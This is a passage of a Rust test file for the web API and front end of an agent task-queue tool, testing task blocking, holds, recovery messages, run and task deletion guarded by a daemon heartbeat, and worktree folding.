22883                limit: Some(50),
22884                ids,
22885            })
22886        };
22887        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
22888        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
22889        let talks = talks_list(State(ui.clone()), query(None), header::HeaderMap::new())
22890            .await
22891            .unwrap()
22892            .0;
22893        let queue_id = queue
22894            .iter()
22895            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
22896            .unwrap_or(&queue[0])
22897            .task
22898            .id
22899            .clone();
22900        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
22901            .await
22902            .unwrap()
22903            .0;
22904        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
22905            .await
22906            .unwrap()
22907            .0;
22908        let talks_delta = talks_list(
22909            State(ui.clone()),
22910            query(Some(talks[0].id.clone())),
22911            header::HeaderMap::new(),
22912        )
22913        .await
22914        .unwrap()
22915        .0;
22916        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
22917        eprintln!(
22918            "DELTA_PAYLOAD {}",
22919            serde_json::json!({
22920                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
22921                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
22922                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
22923                "counts": [queue.len(), runs.len(), talks.len()],
22924                "blocked": queue_delta.len() - 1,
22925            })
22926        );
22927    }
22928
22929    #[test]
22930    fn runs_revision_moves_when_deleting_an_older_run() {
22931        let temp = TempDir::new().expect("tempdir");
22932        let runs = temp.path().join("runs");
22933        std::fs::create_dir_all(&runs).expect("create runs dir");
22934
22935        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
22936
22937        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
22938        std::thread::sleep(Duration::from_millis(10));
22939        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
22940
22941        let rev_before = runs_revision(&runs);
22942        assert!(rev_before > 0);
22943
22944        let old_dir = runs.join("20260901-100000-old1");
22945        std::fs::remove_dir_all(&old_dir).expect("remove old run");
22946
22947        let rev_after = runs_revision(&runs);
22948        assert_ne!(
22949            rev_before, rev_after,
22950            "deleting an older run must change the revision so other clients see the deletion"
22951        );
22952    }
22953
22954    /// A run's own `run.json` on an explicit `runs` root, bypassing the
22955    /// process-global home entirely — `RunState::save` writes through
22956    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
22957    /// (see `tests::home_lock` in the integration suite for why).
22958    fn write_state(runs: &FsPath, state: &RunState) {
22959        let dir = runs.join(&state.id);
22960        std::fs::create_dir_all(&dir).expect("run dir");
22961        std::fs::write(
22962            dir.join("run.json"),
22963            serde_json::to_string_pretty(state).expect("serialize run"),
22964        )
22965        .expect("write run.json");
22966    }
22967
22968    /// A seat starting or finishing is a write to `run.json` like any other,
22969    /// so it moves the same revision the change stream already watches —
22970    /// nothing new for `/api/events` to learn, but the property this feature
22971    /// depends on to reach the phone without a poll.
22972    #[test]
22973    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
22974        let temp = TempDir::new().expect("tempdir");
22975        let runs = temp.path().join("runs");
22976        std::fs::create_dir_all(&runs).expect("create runs dir");
22977        let mut state = RunState::new(
22978            PathBuf::from("/repo/magi"),
22979            "main".to_owned(),
22980            "0123456789abcdef".to_owned(),
22981            "task".to_owned(),
22982            Config::default(),
22983        );
22984        state.id = "20260902-100000-c0de".to_owned();
22985        write_state(&runs, &state);
22986
22987        let rev_idle = runs_revision(&runs);
22988        std::thread::sleep(Duration::from_millis(10));
22989        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
22990        write_state(&runs, &state);
22991        let rev_started = runs_revision(&runs);
22992        assert_ne!(
22993            rev_idle, rev_started,
22994            "a seat starting must move the revision"
22995        );
22996
22997        std::thread::sleep(Duration::from_millis(10));
22998        state.seat_finished("judge-1");
22999        write_state(&runs, &state);
23000        let rev_finished = runs_revision(&runs);
23001        assert_ne!(
23002            rev_started, rev_finished,
23003            "and clearing it again must move the revision a second time"
23004        );
23005    }
23006
23007    #[tokio::test]
23008    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
23009        // `TaskView` flattens `Task`, so this is really asserting that
23010        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
23011        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
23012        // never touched web.rs, so nothing here caught it if it had.
23013        let fx = Fixture::start().await;
23014        let q = fx.queue();
23015
23016        let mut t = Task::new(
23017            "Task".to_owned(),
23018            "Instruction".to_owned(),
23019            PathBuf::from("/repo"),
23020            Source::Human,
23021        );
23022        t.block(
23023            vec!["20260101-000000-dead".to_owned()],
23024            Some("waiting on Task 1".to_owned()),
23025        );
23026        t.answers.push(crate::queue::AnsweredQuestion {
23027            question: "Which backend?".to_owned(),
23028            answer: "SQLite".to_owned(),
23029        });
23030        q.put(&mut t).expect("put t");
23031
23032        let res = fx.get("/api/queue").await;
23033        assert_eq!(res.status, 200);
23034        let list = res.json();
23035        let view = list
23036            .as_array()
23037            .expect("array")
23038            .iter()
23039            .find(|v| v["id"] == t.id)
23040            .expect("task in list");
23041        assert_eq!(view["status_str"], "blocked");
23042        assert_eq!(
23043            view["blocked_by"],
23044            serde_json::json!(["20260101-000000-dead"])
23045        );
23046        assert_eq!(view["block_reason"], "waiting on Task 1");
23047        assert_eq!(view["answers"][0]["question"], "Which backend?");
23048        assert_eq!(view["answers"][0]["answer"], "SQLite");
23049
23050        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
23051        // but never `answers` - that is a settled decision, not state
23052        // describing the current block, so it survives.
23053        let res = fx
23054            .post(&format!("/api/queue/{}/hold", t.short()), None)
23055            .await;
23056        assert_eq!(res.status, 200);
23057        let held = res.json();
23058        assert_eq!(held["status_str"], "held");
23059        assert_eq!(held["blocked_by"], serde_json::json!([]));
23060        assert!(held["block_reason"].is_null());
23061        assert_eq!(held["answers"][0]["answer"], "SQLite");
23062    }
23063
23064    #[tokio::test]
23065    async fn task_recovery_pending_decisions_block_disk_autoresume() {
23066        let fx = Fixture::start().await;
23067        let queue = fx.queue();
23068        let questions = fx.questions();
23069        let mut task = Task::new(
23070            "Disk recovery".into(),
23071            "Inspect".into(),
23072            PathBuf::from("/repo"),
23073            Source::Human,
23074        );
23075        task.hold_machine(crate::disk::gate(2_667_941_888, 3_221_225_472));
23076        task.mark_disk_capacity();
23077        queue.put(&mut task).unwrap();
23078        let mut records = Vec::new();
23079        for node in [crate::triage::NODE, crate::triage::DEPS_NODE] {
23080            let mut q = Question::new(
23081                task.id.clone(),
23082                node.into(),
23083                "triage".into(),
23084                "Resume recovery?".into(),
23085                String::new(),
23086                vec![],
23087            );
23088            q.routed_task = Some(task.id.clone());
23089            questions.put(&mut q).unwrap();
23090            records.push(q);
23091        }
23092        let url = format!("/api/queue/{}", task.id);
23093        let view = fx.get(&url).await.json();
23094        assert_eq!(view["status_str"], "held");
23095        assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
23096        assert!(
23097            view["recovery"]
23098                .as_str()
23099                .unwrap()
23100                .contains("Disk recovery alone will not resume")
23101        );
23102        assert!(
23103            view["recovery"]
23104                .as_str()
23105                .unwrap()
23106                .contains("Disk wait (automatically monitored)")
23107        );
23108        for blocker in view["blockers"].as_array().unwrap() {
23109            assert!(blocker["destination"].is_null());
23110            assert!(
23111                blocker["next"]
23112                    .as_str()
23113                    .unwrap()
23114                    .contains("pending delivery")
23115            );
23116        }
23117        for q in &mut records {
23118            q.routed_chat = Some("owning-chat".into());
23119            questions.put(q).unwrap();
23120        }
23121        let view = fx.get(&url).await.json();
23122        for blocker in view["blockers"].as_array().unwrap() {
23123            assert_eq!(
23124                blocker["destination"],
23125                serde_json::json!(["chat", "owning-chat"])
23126            );
23127            assert_eq!(blocker["resolves_itself"], false);
23128        }
23129        // Answered routed decisions can still be awaiting task-chat application.
23130        for q in &mut records {
23131            q.status = ask::QuestionStatus::Answered;
23132            questions.put(q).unwrap();
23133        }
23134        assert!(crate::triage::pending_for(&questions, &task));
23135        let view = fx.get(&url).await.json();
23136        assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
23137        assert!(
23138            view["blockers"][0]["next"]
23139                .as_str()
23140                .unwrap()
23141                .contains("not yet applied")
23142        );
23143        for q in &records {
23144            task.mark_triage_applied(&q.id);
23145        }
23146        queue.put(&mut task).unwrap();
23147        assert!(!crate::triage::pending_for(&questions, &task));
23148        assert_eq!(fx.get(&url).await.json()["blockers"], serde_json::json!([]));
23149        assert_eq!(queue.get(&task.id).unwrap().status, TaskStatus::Held);
23150    }
23151
23152    #[test]
23153    fn task_recovery_distinguishes_dependency_restoration_and_hold_ownership() {
23154        use crate::queue::HoldSource;
23155        let mut task = Task::new(
23156            "Recovery".into(),
23157            "Inspect".into(),
23158            PathBuf::from("/repo"),
23159            Source::Human,
23160        );
23161        assert!(task_recovery(&task).is_none());
23162        task.hold_manual(Some("Operator paused".into()));
23163        assert!(task_recovery(&task).unwrap().contains("explicitly Release"));
23164        task.block(vec!["dependency".into()], Some("Decision needed".into()));
23165        let text = task_recovery(&task).unwrap();
23166        assert!(text.contains("restores held"));
23167        assert!(text.contains("clears its dependency references"));
23168        task.hold_source = Some(HoldSource::Machine);
23169        task.hold_reason = crate::disk::gate(2_667_941_888, 3_221_225_472);
23170        task.mark_disk_capacity();
23171        let view = TaskView::with_inventory(
23172            task.clone(),
23173            &crate::blockers::Inventory::new(vec![task.clone()], &[]),
23174        );
23175        let json = serde_json::to_value(view).unwrap();
23176        assert_eq!(json["block_reason"], "Decision needed");
23177        assert!(json["hold_reason"].as_str().unwrap().contains("2667941888"));
23178        let recovery = json["recovery"].as_str().unwrap();
23179        assert!(recovery.contains("not current capacity"));
23180        assert!(recovery.contains("triage rechecks"));
23181        assert_eq!(json["blockers"][0]["state"], "missing");
23182        task.blocked_from = Some(TaskStatus::Queued);
23183        assert!(!task_recovery(&task).unwrap().contains("triage rechecks"));
23184        task.blocked_from = None;
23185        assert!(task_recovery(&task).unwrap().contains("restores held"));
23186    }
23187
23188    #[tokio::test]
23189    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
23190        let fx = Fixture::start().await;
23191        let q = fx.queue();
23192        let mk = |title: &str| {
23193            Task::new(
23194                title.to_owned(),
23195                "Instruction".to_owned(),
23196                PathBuf::from("/repo"),
23197                Source::Human,
23198            )
23199        };
23200        let mut root = mk("root");
23201        root.hold_manual(Some("waiting".to_owned()));
23202        q.put(&mut root).unwrap();
23203        let mut mid = mk("mid");
23204        mid.block(vec![root.id.clone()], None);
23205        q.put(&mut mid).unwrap();
23206        let mut leaf = mk("leaf");
23207        leaf.block(vec![mid.id.clone()], None);
23208        q.put(&mut leaf).unwrap();
23209
23210        let list = fx.get("/api/queue").await.json();
23211        let find = |id: &str| {
23212            list.as_array()
23213                .unwrap()
23214                .iter()
23215                .find(|v| v["id"] == id)
23216                .unwrap()
23217                .clone()
23218        };
23219        let leaf_view = find(&leaf.id);
23220        assert_eq!(
23221            leaf_view["waits_on"],
23222            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
23223        );
23224        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
23225        assert_eq!(
23226            find(&mid.id)["waits_on"],
23227            serde_json::json!([format!("{} (held)", root.short())])
23228        );
23229        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
23230    }
23231
23232    #[tokio::test]
23233    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
23234        let fx = Fixture::start().await;
23235        let q = fx.queue();
23236
23237        // 1. A queued task with runs attached can be deleted.
23238        let mut t1 = Task::new(
23239            "Task 1".to_owned(),
23240            "Instruction 1".to_owned(),
23241            PathBuf::from("/repo"),
23242            Source::Human,
23243        );
23244        let run_id = "20260901-000000-r111";
23245        t1.runs.push(run_id.to_owned());
23246        write_run(&fx.runs(), run_id, RunStatus::Merged);
23247        q.put(&mut t1).expect("put t1");
23248
23249        // Delete by short id
23250        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
23251        assert_eq!(res.status, 204);
23252        assert!(res.body.is_empty(), "204 No Content has no body");
23253        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
23254        assert!(
23255            fx.runs().join(run_id).exists(),
23256            "run directory must not be deleted when its task is deleted"
23257        );
23258
23259        // 2. A task a live daemon is running is refused with 409.
23260        let mut t2 = Task::new(
23261            "Task 2".to_owned(),
23262            "Instruction 2".to_owned(),
23263            PathBuf::from("/repo"),
23264            Source::Human,
23265        );
23266        t2.status = TaskStatus::Running;
23267        q.put(&mut t2).expect("put t2");
23268        let mut beat = crate::daemon::Status::new();
23269        beat.current = vec![crate::daemon::Current {
23270            worker: None,
23271            task: t2.id.clone(),
23272            run: "20260901-000000-r222".to_owned(),
23273        }];
23274        beat.updated_at = jiff::Timestamp::now();
23275        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23276            .expect("publish a heartbeat");
23277        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
23278        assert_eq!(res.status, 409);
23279        assert!(
23280            res.json()["error"]
23281                .as_str()
23282                .unwrap()
23283                .contains("live daemon")
23284        );
23285        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
23286
23287        // 3. The same `running` status and an orphaned lock, with no daemon
23288        // behind either, is a leftover and deletable. Before this the phone
23289        // refused it for good: the status never changes on its own and
23290        // nothing drops a lock whose process is gone.
23291        // The daemon is killed: the file stays, the heartbeat stops.
23292        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
23293        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23294            .expect("leave a stale heartbeat");
23295        let mut t3 = Task::new(
23296            "Task 3".to_owned(),
23297            "Instruction 3".to_owned(),
23298            PathBuf::from("/repo"),
23299            Source::Human,
23300        );
23301        t3.status = TaskStatus::Running;
23302        q.put(&mut t3).expect("put t3");
23303        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
23304        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
23305        assert_eq!(res.status, 204);
23306        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
23307        assert!(
23308            q.claim(&t3.id).is_ok(),
23309            "the stale lock went with it, so the id is claimable again"
23310        );
23311
23312        // 4. Missing id returns 404
23313        let res = fx.delete("/api/queue/nonexistent").await;
23314        assert_eq!(res.status, 404);
23315    }
23316
23317    #[tokio::test]
23318    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
23319        let fx = Fixture::start().await;
23320        let runs = fx.runs();
23321
23322        // 1. Finished and folded run can be deleted along with artifacts
23323        let run_id = "20260901-000000-fold";
23324        let mut state = RunState::new(
23325            PathBuf::from("/repo"),
23326            "main".to_owned(),
23327            "abc".to_owned(),
23328            "instruction".to_owned(),
23329            Config::default(),
23330        );
23331        state.id = run_id.to_owned();
23332        state.status = RunStatus::Merged;
23333        state.candidates.push(crate::run::Candidate {
23334            index: 0,
23335            label: 'A',
23336            agent: "a".to_owned(),
23337            branch: "b".to_owned(),
23338            worktree: PathBuf::from("/w"),
23339            summary: String::new(),
23340            stat: String::new(),
23341            files: 1,
23342            commits: 1,
23343            empty: false,
23344            failed: None,
23345            verified_noop: None,
23346            duration_ms: 0,
23347            folded: true,
23348        });
23349        let dir = runs.join(run_id);
23350        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
23351        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
23352            .expect("write artifact");
23353        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
23354            .expect("write run.json");
23355
23356        // Delete by short id
23357        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
23358        assert_eq!(res.status, 204);
23359        assert!(res.body.is_empty(), "204 has no body");
23360        assert!(!dir.exists(), "run directory and artifacts must be deleted");
23361
23362        // 2. A run a live daemon is working on is refused with 409. The
23363        // heartbeat is what makes it refusable: an unfinished run with no
23364        // daemon behind it is a leftover from a killed process, and case 1
23365        // above would otherwise be impossible to tell apart from this one.
23366        let run_running = "20260901-000000-rung";
23367        write_run(&runs, run_running, RunStatus::Prep);
23368        let mut beat = crate::daemon::Status::new();
23369        beat.current = vec![crate::daemon::Current {
23370            worker: None,
23371            task: "20260901-000000-task".to_owned(),
23372            run: run_running.to_owned(),
23373        }];
23374        beat.updated_at = jiff::Timestamp::now();
23375        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23376            .expect("publish a heartbeat");
23377        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
23378        assert_eq!(res.status, 409);
23379        assert!(
23380            res.json()["error"]
23381                .as_str()
23382                .unwrap()
23383                .contains("live daemon"),
23384            "the refusal must say who is holding it"
23385        );
23386        assert!(
23387            runs.join(run_running).exists(),
23388            "a run in flight keeps its directory"
23389        );
23390
23391        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
23392        let run_unfolded = "20260901-000000-unfd";
23393        let mut state2 = RunState::new(
23394            PathBuf::from("/repo"),
23395            "main".to_owned(),
23396            "abc".to_owned(),
23397            "instruction".to_owned(),
23398            Config::default(),
23399        );
23400        state2.id = run_unfolded.to_owned();
23401        state2.status = RunStatus::Ready;
23402        state2.candidates.push(crate::run::Candidate {
23403            index: 0,
23404            label: 'A',
23405            agent: "a".to_owned(),
23406            branch: "b".to_owned(),
23407            worktree: PathBuf::from("/w"),
23408            summary: String::new(),
23409            stat: String::new(),
23410            files: 1,
23411            commits: 1,
23412            empty: false,
23413            failed: None,
23414            verified_noop: None,
23415            duration_ms: 0,
23416            folded: false,
23417        });
23418        let dir2 = runs.join(run_unfolded);
23419        std::fs::create_dir_all(&dir2).expect("create dir2");
23420        std::fs::write(
23421            dir2.join("run.json"),
23422            serde_json::to_string(&state2).unwrap(),
23423        )
23424        .expect("write run.json");
23425
23426        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
23427        assert_eq!(res.status, 409);
23428        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
23429        assert!(dir2.exists(), "unfolded run directory is kept");
23430
23431        // 4. Missing id returns 404
23432        let res = fx.delete("/api/runs/nonexistent").await;
23433        assert_eq!(res.status, 404);
23434    }
23435
23436    /// The queue tiles on the Stats tab must render even on a home with no
23437    /// runs at all: queue state is not derived from run history, so hiding
23438    /// the whole dashboard body behind "no runs yet" would drop the one
23439    /// thing this tab promises unconditionally (queued/running/held/done).
23440    /// A DOM-level test would need a browser this suite does not have, so
23441    /// this pins the same invariant textually: `renderStatsQueue` is called
23442    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
23443    /// block that gates the run-derived panels.
23444    #[test]
23445    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
23446        let start = APP_JS
23447            .find("function renderStats() {")
23448            .expect("renderStats");
23449        let end = start
23450            + APP_JS[start..]
23451                .find("function statsTile(")
23452                .expect("the next top-level function");
23453        let body = &APP_JS[start..end];
23454
23455        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
23456        let gate_end = gate_start
23457            + body[gate_start..]
23458                .find("}\n  renderStatsQueue")
23459                .expect("the gate's own closing brace, right before the unconditional call");
23460        let gated = &body[gate_start..gate_end];
23461
23462        assert_eq!(
23463            body.matches("renderStatsQueue(").count(),
23464            1,
23465            "renderStats must call renderStatsQueue exactly once: {body}"
23466        );
23467        assert!(
23468            !gated.contains("renderStatsQueue"),
23469            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
23470             run-derived panels on an empty run history - the queue panel has to render \
23471             regardless: {gated}"
23472        );
23473    }
23474
23475    #[test]
23476    fn web_ui_delete_contract_in_front_end() {
23477        // 1. API block has both delete endpoints
23478        assert!(APP_JS.contains("deleteRun:"));
23479        assert!(APP_JS.contains("deleteTask:"));
23480
23481        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
23482        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
23483            ..APP_JS.find("function renderRuns").unwrap()];
23484        assert!(!run_cards_slice.to_lowercase().contains("delete"));
23485
23486        // 3. Run detail has delete entry and reasons
23487        assert!(APP_JS.contains("renderRunDelete"));
23488        assert!(APP_JS.contains("runDeleteReason"));
23489        assert!(APP_JS.contains("magi fold"));
23490        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
23491
23492        // 4. Two-step delete arming and focus on Cancel
23493        assert!(APP_JS.contains("cancel.focus"));
23494        assert!(APP_JS.contains("armedRunDelete"));
23495        assert!(APP_JS.contains("renderTaskDeleteBox"));
23496        assert!(APP_JS.contains("armed${cap(key)}"));
23497
23498        // 5. Running task has disabled delete
23499        assert!(APP_JS.contains("disabled: status === \"running\""));
23500    }
23501
23502    /// Every element a run card's updater reaches for must be in the `refs`
23503    /// the builder handed it.
23504    ///
23505    /// `createRunCard` builds its elements, appends them to the card, and then
23506    /// lists them again in `row.refs`. That second list is the one the updater
23507    /// uses, and nothing connects the two - an element can be built, appended
23508    /// and rendered, and still be missing from `refs`. `superseded` was, for
23509    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
23510    /// exception took `syncList` with it, and the deck showed
23511    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
23512    /// line is computed before the cards, which is why the failure looked like
23513    /// a server that had lost its runs rather than a front end that had
23514    /// stopped rendering them.
23515    ///
23516    /// A `cargo test` cannot execute the front end, so this reads the two
23517    /// halves out of the source and compares them as sets. It is not a check
23518    /// on the wording of either list: adding an element, renaming one, or
23519    /// reordering them all keeps this passing, and only using one the builder
23520    /// never published fails it.
23521    #[test]
23522    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
23523        let build = APP_JS
23524            .find("function createRunCard")
23525            .expect("createRunCard exists");
23526        let update = APP_JS
23527            .find("function updateRunCard")
23528            .expect("updateRunCard exists");
23529        let end = APP_JS
23530            .find("function renderRuns")
23531            .expect("renderRuns exists");
23532
23533        // The builder's published set: the object literal assigned to `refs`.
23534        let builder = &APP_JS[build..update];
23535        let open = builder.find("refs = {").expect("createRunCard sets refs");
23536        let literal = &builder[open + "refs = {".len()..];
23537        let close = literal.find('}').expect("the refs literal is closed");
23538        let published: HashSet<&str> = literal[..close]
23539            .split(',')
23540            // `name` and `name: value` both bind `name`.
23541            .filter_map(|entry| entry.split(':').next())
23542            .map(str::trim)
23543            .filter(|name| !name.is_empty())
23544            .collect();
23545        assert!(
23546            published.len() > 5,
23547            "the refs literal did not parse into names: {published:?}"
23548        );
23549
23550        // What the updaters reach for: every `r.<name>`, where `r` is the
23551        // `const r = row.refs` alias both functions open with.
23552        let mut used: Vec<&str> = Vec::new();
23553        let updaters = &APP_JS[update..end];
23554        for (at, _) in updaters.match_indices("r.") {
23555            // `r` must be the whole identifier, not the tail of another one
23556            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
23557            let before = updaters[..at].chars().next_back();
23558            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
23559                continue;
23560            }
23561            let rest = &updaters[at + 2..];
23562            let len = rest
23563                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
23564                .unwrap_or(rest.len());
23565            if len > 0 {
23566                used.push(&rest[..len]);
23567            }
23568        }
23569        assert!(
23570            used.len() > 5,
23571            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
23572        );
23573
23574        let missing: Vec<&str> = used
23575            .iter()
23576            .copied()
23577            .filter(|name| !published.contains(name))
23578            .collect();
23579        assert!(
23580            missing.is_empty(),
23581            "a run card's updater reaches for {missing:?}, which `createRunCard` \
23582             never put in `refs` - every card will throw and the list will \
23583             render empty under a count line that says otherwise. Published: \
23584             {published:?}"
23585        );
23586    }
23587
23588    #[tokio::test]
23589    async fn folding_from_the_phone_reports_what_it_removed() {
23590        let fx = Fixture::start().await;
23591        let runs = fx.runs();
23592
23593        // A run with no candidates has nothing to fold, which is a 200 with an
23594        // honest count rather than an error: the operator asked for the trees
23595        // to be gone and they are.
23596        let id = "20260901-000000-fold";
23597        write_run(&runs, id, RunStatus::Stalled);
23598        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
23599        assert_eq!(res.status, 200);
23600        assert_eq!(res.json()["removed_count"], 0);
23601        assert_eq!(res.json()["run"], id);
23602        assert!(
23603            runs.join(id).exists(),
23604            "a fold keeps the run's record; only the worktrees go"
23605        );
23606    }
23607
23608    #[tokio::test]
23609    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
23610        let fx = Fixture::start().await;
23611        let runs = fx.runs();
23612        let wt = fx.home.path().join("wt").join("magi").join("dead");
23613        let id = "20260901-000000-dead";
23614        std::fs::create_dir_all(runs.join(id)).expect("run dir");
23615        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
23616        std::fs::create_dir_all(&wt).expect("worktree dir");
23617
23618        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
23619        assert_eq!(res.status, 200, "{}", res.body);
23620        assert!(
23621            res.json()["removed_count"].as_u64().unwrap() > 0,
23622            "the worktree this build could not read a state for still went"
23623        );
23624        assert!(
23625            !runs.join(id).exists(),
23626            "an unreadable run has no candidate list to fold selectively, so \
23627             the whole record goes - same as `magi fold` on the CLI"
23628        );
23629    }
23630
23631    #[tokio::test]
23632    async fn deleting_an_unreadable_run_removes_it_wholesale() {
23633        let fx = Fixture::start().await;
23634        let runs = fx.runs();
23635        let wt = fx.home.path().join("wt").join("magi").join("gone");
23636        let id = "20260901-000000-gone";
23637        std::fs::create_dir_all(runs.join(id)).expect("run dir");
23638        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
23639        std::fs::create_dir_all(&wt).expect("worktree dir");
23640
23641        let res = fx.delete(&format!("/api/runs/{id}")).await;
23642        assert_eq!(res.status, 204, "{}", res.body);
23643        assert!(!runs.join(id).exists(), "the broken record is gone");
23644        assert!(!wt.exists(), "its worktree is gone too");
23645    }
23646
23647    #[tokio::test]
23648    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
23649        let fx = Fixture::start().await;
23650        let runs = fx.runs();
23651        let id = "20260901-000000-live";
23652        write_run(&runs, id, RunStatus::Implementing);
23653
23654        let mut beat = crate::daemon::Status::new();
23655        beat.current = vec![crate::daemon::Current {
23656            worker: None,
23657            task: "20260901-000000-task".to_owned(),
23658            run: id.to_owned(),
23659        }];
23660        beat.updated_at = jiff::Timestamp::now();
23661        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23662            .expect("publish a heartbeat");
23663
23664        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
23665        assert_eq!(res.status, 409);
23666        assert!(
23667            res.json()["error"]
23668                .as_str()
23669                .unwrap()
23670                .contains("live daemon"),
23671            "folding under a running agent would pull its worktree away"
23672        );
23673    }
23674
23675    #[tokio::test]
23676    async fn fold_merged_requires_a_pr_url() {
23677        let fx = Fixture::start().await;
23678        let runs = fx.runs();
23679        let id = "20260901-000000-nourl";
23680        write_run(&runs, id, RunStatus::Blocked);
23681
23682        let res = fx
23683            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
23684            .await;
23685        assert_eq!(res.status, 400, "{}", res.body);
23686
23687        let blank = fx
23688            .post(
23689                &format!("/api/runs/{id}/fold-merged"),
23690                Some(r#"{"pr_url":"   "}"#),
23691            )
23692            .await;
23693        assert_eq!(blank.status, 400, "{}", blank.body);
23694    }
23695
23696    #[tokio::test]
23697    async fn fold_merged_is_404_for_an_unknown_run() {
23698        let fx = Fixture::start().await;
23699        let res = fx
23700            .post(
23701                "/api/runs/nosuchrun/fold-merged",
23702                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
23703            )
23704            .await;
23705        assert_eq!(res.status, 404, "{}", res.body);
23706    }
23707
23708    #[tokio::test]
23709    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
23710        let fx = Fixture::start().await;
23711        let runs = fx.runs();
23712        let id = "20260901-000000-livemerge";
23713        write_run(&runs, id, RunStatus::Blocked);
23714
23715        let mut beat = crate::daemon::Status::new();
23716        beat.current = vec![crate::daemon::Current {
23717            worker: None,
23718            task: "20260901-000000-task".to_owned(),
23719            run: id.to_owned(),
23720        }];
23721        beat.updated_at = jiff::Timestamp::now();
23722        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23723            .expect("publish a heartbeat");
23724
23725        let res = fx
23726            .post(
23727                &format!("/api/runs/{id}/fold-merged"),
23728                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
23729            )
23730            .await;
23731        assert_eq!(res.status, 409, "{}", res.body);
23732        assert!(
23733            res.json()["error"]
23734                .as_str()
23735                .unwrap()
23736                .contains("live daemon"),
23737            "correcting a run's merge underneath a running agent would race \
23738             whatever it is doing to the same `status`/`merge` fields"
23739        );
23740    }
23741
23742    /// A pull request `gh` cannot even ask about (no such remote, no such
23743    /// repository) must never be recorded as a merge on a guess - the same
23744    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
23745    /// command line, reached here through the phone route instead.
23746    #[tokio::test]
23747    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
23748        let fx = Fixture::start().await;
23749        let runs = fx.runs();
23750        let id = "20260901-000000-unconfirmed";
23751        write_run(&runs, id, RunStatus::Blocked);
23752
23753        let res = fx
23754            .post(
23755                &format!("/api/runs/{id}/fold-merged"),
23756                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
23757            )
23758            .await;
